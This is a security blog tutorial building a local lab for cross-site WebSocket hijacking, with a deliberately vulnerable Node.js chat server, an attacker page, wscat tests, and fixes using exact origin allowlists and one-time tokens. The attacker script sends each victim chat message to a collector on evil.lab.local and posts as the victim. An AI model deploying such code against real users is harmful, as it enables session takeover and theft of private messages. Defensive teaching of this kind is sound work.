Build a Cross-Site WebSocket Hijacking Lab: CSWSH with wscat and a Vulnerable Chat App

Build a Cross-Site WebSocket Hijacking Lab: CSWSH with wscat and a Vulnerable Chat App

  • Post author:
  • Post published:
  • Post category:Security
📋 Key Takeaways
  • Cross-site WebSocket hijacking (CSWSH) exploits a simple fact: browsers attach cookies to WebSocket handshakes no matter which page initiates the connection.
  • Traditional HTTP endpoints come wrapped in browser-enforced guardrails.
  • You'll build a three-origin lab. Everything runs on localhost with hostname mappings so the origins are genuinely distinct—critical, because origin-based attacks only mean something across origins.
  • Create the chat server. Login is cookie-based; chat messages flow over WebSocket.
10 min read · 1,901 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.
Security· 10 min read

🔎 Last updated · Editorial policy · Report an error

TL;DR: What Is Cross-Site WebSocket Hijacking and How Do You Exploit It?

Cross-site WebSocket hijacking (CSWSH) exploits a simple fact: browsers attach cookies to WebSocket handshakes no matter which page initiates the connection. An attacker page hosted anywhere on the web can open a WebSocket to your authenticated ws:// endpoint, the browser dutifully sends the victim’s session cookie, and the attacker rides that session bidirectionally—reading messages and writing as the victim. The lab below builds a vulnerable chat app, exploits it with a browser and wscat, then fixes it with strict origin validation and per-session tokens.

Why WebSockets Skip Same-Origin Policy (and Why That Matters)

Traditional HTTP endpoints come wrapped in browser-enforced guardrails. Fetch a cross-origin resource with fetch() or XMLHttpRequest and the browser triggers a CORS preflight, gates the response, and gives the server a chance to refuse. You’re attacking a protocol with a bouncer.

The WebSocket handshake throws most of that out the window. Opening a WebSocket is a plain HTTP GET with Upgrade: websocket and Connection: Upgrade headers. No preflight. No browser-enforced origin policy. The WebSocket Protocol (RFC 6455) explicitly leaves origin validation to the server: the browser includes the Origin header, but it’s advisory—the server must check it, and most servers historically haven’t.

That design decision is why CSWSH differs from CSRF. CSRF is one-shot: the attacker triggers a state change and gets nothing back. CSWSH hands the attacker a live, bidirectional, persistent channel into the victim’s authenticated session. You don’t just fire the gun—you take the wheel.

OWASP covers this in its WebSocket security guidance (HTML5 Security Cheat Sheet), and the pattern shows up in real bug bounty reports and appsec reviews with depressing regularity. The failure mode is always the same: developers assume the browser protects them. It doesn’t.

Lab Architecture and Prerequisites

You’ll build a three-origin lab. Everything runs on localhost with hostname mappings so the origins are genuinely distinct—critical, because origin-based attacks only mean something across origins.

  • chat.lab.local — the victim’s chat application (Node.js + the ws package)
  • evil.lab.local — the attacker’s page (any static file server)
  • Your browser + wscat — the clients; install wscat via npm install -g wscat

Map the hostnames in /etc/hosts:

127.0.0.1 chat.lab.local
127.0.0.1 evil.lab.local
  [Browser] ── page from evil.lab.local
      │
      │ new WebSocket('ws://chat.lab.local/socket')
      │ (cookie attached automatically)
      ▼
[chat.lab.local] ── authenticated WS endpoint
      ▲
      │ wscat (manual handshake testing)

You need Node.js 18+ and npm. That’s it.

Step 1: Build the Vulnerable Chat App

Create the chat server. Login is cookie-based; chat messages flow over WebSocket. The origin check is deliberately naive—startsWith()—because that’s the exact mistake we’re here to exploit.

// chat-server.js
const http = require('http');
const { WebSocketServer } = require('ws');

const sessions = { 'sess-abc123': 'alice' };
const messages = [];

const server = http.createServer((req, res) => {
  // Login: sets a session cookie
  if (req.url === '/login') {
    res.setHeader('Set-Cookie', 'sid=sess-abc123; Path=/');
    res.end('Logged in as alice');
    return;
  }
  res.end('Chat app');
});

const wss = new WebSocketServer({ server });

wss.on('connection', (ws, req) => {
  // NAIVE origin check — this is the bug
  const origin = req.headers.origin || '';
  if (!origin.startsWith('http://chat.lab.local')
      && !origin.startsWith('http://allowed-origin.lab.local')) {
    ws.close(1008, 'Origin not allowed');
    return;
  }

  const sid = /sid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
  const user = sessions[sid];
  if (!user) { ws.close(1008, 'Not authenticated'); return; }

  ws.on('message', (data) => {
    const msg = `${user}: ${data}`;
    messages.push(msg);
    wss.clients.forEach(c => c.send(msg));
  });
  ws.send(`Welcome, ${user}`);
});

server.listen(8080, () => console.log('Chat on http://chat.lab.local:8080'));

Install dependencies and run it:

npm init -y && npm install ws
node chat-server.js

Step 2: Verify Baseline Behavior with wscat

Before touching a browser, establish the baseline with wscat. First, connect with no cookie—this should be rejected:

$ wscat -c ws://chat.lab.local:8080/socket
Connected (press CTRL+C to quit)
Closed: 1008 - Not authenticated

Now replay the authenticated handshake with a Cookie header:

$ wscat -c ws://chat.lab.local:8080/socket 
    -H "Cookie: sid=sess-abc123" 
    -H "Origin: http://chat.lab.local"
Connected (press CTRL+C to quit)
< Welcome, alice

This is your first lesson: the server trusts whatever the client sends. wscat isn’t a browser—it doesn’t have alice’s cookies—but you handed it the session token and it walked right in. Browsers make this automatic for anyone who visits an attacker page.

Step 3: Attempt the Cross-Site Handshake from a Browser

Serve the attacker page from evil.lab.local:

// attacker.js — served at http://evil.lab.local:8081
const ws = new WebSocket('ws://chat.lab.local:8080/socket');
ws.onopen = () => console.log('[+] Handshake upgraded — cookies attached');
ws.onmessage = (e) => {
  // Exfiltrate every chat message to the attacker's collector
  fetch('http://evil.lab.local:8081/collect?m=' + encodeURIComponent(e.data));
};
ws.onclose = (e) => console.log('Closed:', e.code, e.reason);
node -e "require('http').createServer((q,s)=>{ if(q.url.startsWith('/collect')){console.log('EXFIL:',q.url);s.end();} else {s.end(require('fs').readFileSync('attacker.js'));}}).listen(8081)"

Now, in your browser: visit http://chat.lab.local:8080/login to get the session cookie, then open http://evil.lab.local:8081 and watch DevTools → Network → WS. You’ll see the upgrade request to chat.lab.local initiated from an evil.lab.local page—cookies attached, status 101 Switching Protocols. No preflight. No warning. The browser didn’t block it because, per the spec, blocking isn’t its job.

Step 4: Demonstrate Full Hijacking — Read and Write Someone Else’s Chat

Add a send capability to the attacker page and you have complete session takeover on the socket:

// Inject as the victim
ws.onopen = () => ws.send('Transfer me $5,000 please — alice');

Logs on both sides tell the story. The attacker’s collector shows incoming messages exfiltrated in real time:

EXFIL: /collect?m=Welcome%2C%20alice
EXFIL: /collect?m=bob%3A%20hey%20alice

And the chat log shows the attacker’s fabricated message attributed to alice. Read and write—the full hijack, with no exploit primitive beyond new WebSocket().

Step 5: Bypassing the Naive Origin Check

Notice the server also allowlists allowed-origin.lab.local. Developers love startsWith() for allowlists because it feels flexible. It’s a footgun. Compare:

// Vulnerable: suffix injection
origin.startsWith('http://allowed-origin.lab.local')
// Matches: http://allowed-origin.lab.local.attacker.example  ✗ bypassed

// Correct: exact match
origin === 'http://allowed-origin.lab.local'

An attacker who controls allowed-origin.lab.local.attacker.example walks past the check. The same class of bug appears with string.match() against unanchored regexes and indexOf() !== -1 checks. If your origin validation can be true for a string the attacker fully controls, it isn’t validation—it’s decoration.

Fix 1: Strict Origin Validation

Exact-match the Origin header against an explicit allowlist, enforced during the upgrade handshake—not after the socket opens:

const ALLOWED_ORIGINS = new Set([
  'http://chat.lab.local:8080',
  'http://allowed-origin.lab.local'
]);

const wss = new WebSocketServer({
  server,
  verifyClient: (info) => ALLOWED_ORIGINS.has(info.origin),
});

Test it—wscat lets you spoof Origin directly, which is exactly the point:

$ wscat -c ws://chat.lab.local:8080/socket 
    -o "http://allowed-origin.lab.local.attacker.example"
error: Error: Unexpected server response: 403

Note the honest caveat: origin headers from non-browser clients are trivially spoofable. Origin validation stops cross-site browser attacks—the dominant real-world threat—but it’s the baseline, not the ceiling. CISA’s guidance on API and web service security makes the same point: server-side authentication must not depend on values the client controls (AA23-358A).

Fix 2: Per-Session WebSocket Tokens

Defense in depth: require a one-time, session-bound token issued by the authenticated HTTP app and consumed on connect.

// HTTP endpoint — requires cookie, returns a short-lived token
const crypto = require('crypto');
const wsTokens = new Map(); // token -> { user, expires }

server.on('request', (req, res) => {
  if (req.url === '/ws-token') {
    const sid = /sid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
    const user = sessions[sid];
    if (!user) { res.statusCode = 401; return res.end(); }
    const token = crypto.randomBytes(24).toString('hex');
    wsTokens.set(token, { user, expires: Date.now() + 30000 });
    return res.end(JSON.stringify({ token }));
  }
});

// Enforce in verifyClient
verifyClient: (info) => {
  if (!ALLOWED_ORIGINS.has(info.origin)) return false;
  const token = new URL(info.req.url, 'http://x').searchParams.get('t');
  const entry = wsTokens.get(token);
  if (!entry || entry.expires < Date.now()) return false;
  wsTokens.delete(token); // one-time use
  info.req.user = entry.user;
  return true;
}

The browser fetches the token only from a same-origin authenticated page; an attacker’s page can’t obtain one because the fetch is cross-origin and the cookie ride-along doesn’t help—without a valid token, the handshake dies regardless of what Origin claims. Alternatively, pass the token via the Sec-WebSocket-Protocol header to keep it out of URLs and logs. Keep expiry short (30–60 seconds) and consume tokens on use.

Verify the Fixes and Clean Up the Lab

Re-run the full attack suite against the hardened server:

# Spoofed origin — rejected
$ wscat -c ws://chat.lab.local:8080/socket -o "http://evil.lab.local"
error: Error: Unexpected server response: 403

# Valid origin, no/invalid token — rejected
$ wscat -c ws://chat.lab.local:8080/socket -H "Cookie: sid=sess-abc123"
error: Error: Unexpected server response: 403

Reload evil.lab.local in the browser: ws.onclose fires with code 1008 or the handshake returns 403. Teardown:

# Remove host mappings from /etc/hosts
# Kill servers: pkill -f chat-server.js; pkill -f "listen(8081)"
npm uninstall ws && npm uninstall -g wscat  # optional

Blue-Team Detection and Hardening Checklist

  • Log Origin, Sec-WebSocket-Key, source IP, and session ID on every upgrade request; alert on cross-origin upgrades and repeated 403 handshake failures.
  • Enforce exact-match origin allowlists at the upgrade path (verifyClient / handleUpgrade), never with startsWith, indexOf, or unanchored regexes.
  • Require per-session, one-time, short-lived WebSocket tokens; consume on connect.
  • Prefer wss:// everywhere—TLS protects the channel (and satisfies modern mixed-content policies), though it does not prevent hijacking by itself.
  • Never accept authentication state from the handshake alone without binding it to the upgraded socket’s identity.
  • Add CSWSH tests—wscat with spoofed headers plus an attacker-page browser test—to every appsec review touching WebSockets.

Run this lab once and you’ll never ship a WebSocket endpoint on the assumption that “the browser handles it” again. It doesn’t. You do.

Frequently Asked Questions

Is cross-site WebSocket hijacking the same as CSRF?

Similar mechanism—both abuse browsers auto-attaching cookies to cross-site requests—but CSWSH gives the attacker a bidirectional, persistent channel. CSRF triggers a state change and stops; CSWSH lets the attacker read server messages in real time and send arbitrary messages as the victim.

Why doesn’t the browser block a WebSocket from another origin?

The WebSocket handshake is a simple GET with Upgrade headers—no CORS preflight—and RFC 6455 leaves origin enforcement to the server. The browser supplies the Origin header as information; acting on it is your job.

Can wscat send cookies and Origin headers?

Yes. wscat supports custom headers via command-line options (-H for headers like Cookie, -o for Origin), letting you replay a browser-like handshake and systematically test origin-check weaknesses.

Should I validate Origin or use tokens to stop CSWSH?

Both. Strict exact-match origin validation is the baseline defense against browser-based attacks; a one-time, session-bound token also defends against non-browser clients that can spoof Origin at will.

Does wss:// (TLS) prevent WebSocket hijacking?

No. TLS encrypts transport only. The cookie-on-handshake problem persists over wss:// unless you enforce origin checks and session-bound tokens server-side.

Hmmnm
Published by Hmmnm

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the Hmmnm team.

Keep going — the structured way
This post is one step. The learning paths chain the next ones for you, with progress tracking and no account needed.
Follow a learning path →